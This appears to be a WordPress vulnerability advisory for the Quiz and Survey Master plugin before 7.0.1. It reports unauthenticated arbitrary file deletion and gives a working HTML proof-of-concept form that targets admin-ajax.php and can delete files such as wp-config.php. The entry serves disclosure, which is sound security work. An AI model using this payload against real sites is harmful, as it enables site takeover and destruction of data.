WordPress Plugin Vulnerabilities

Quiz and Survey Master < 7.0.1 - Unauthenticated Arbitrary File Deletion

Description

This flaw allows users to delete arbitrary files like a site’s wp-config.php file which could effectively take a site offline and allow an attacker to take over the vulnerable site.

Proof of Concept

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://YOURURL/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="action" value="qsm_remove_file_fd_question" />
      <input type="hidden" name="file_url" value="/path/to/file" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

Fixed in 7.0.1

References

Miscellaneous

Original Researcher
Chloe Chamberland
Submitter
Chloe Chamberland
Submitter website
Submitter twitter
Verified
No

Timeline

Publicly Published
2020-08-13 (about 3 years ago)
Added
2020-08-13 (about 3 years ago)
Last Updated
2021-01-02 (about 3 years ago)

Other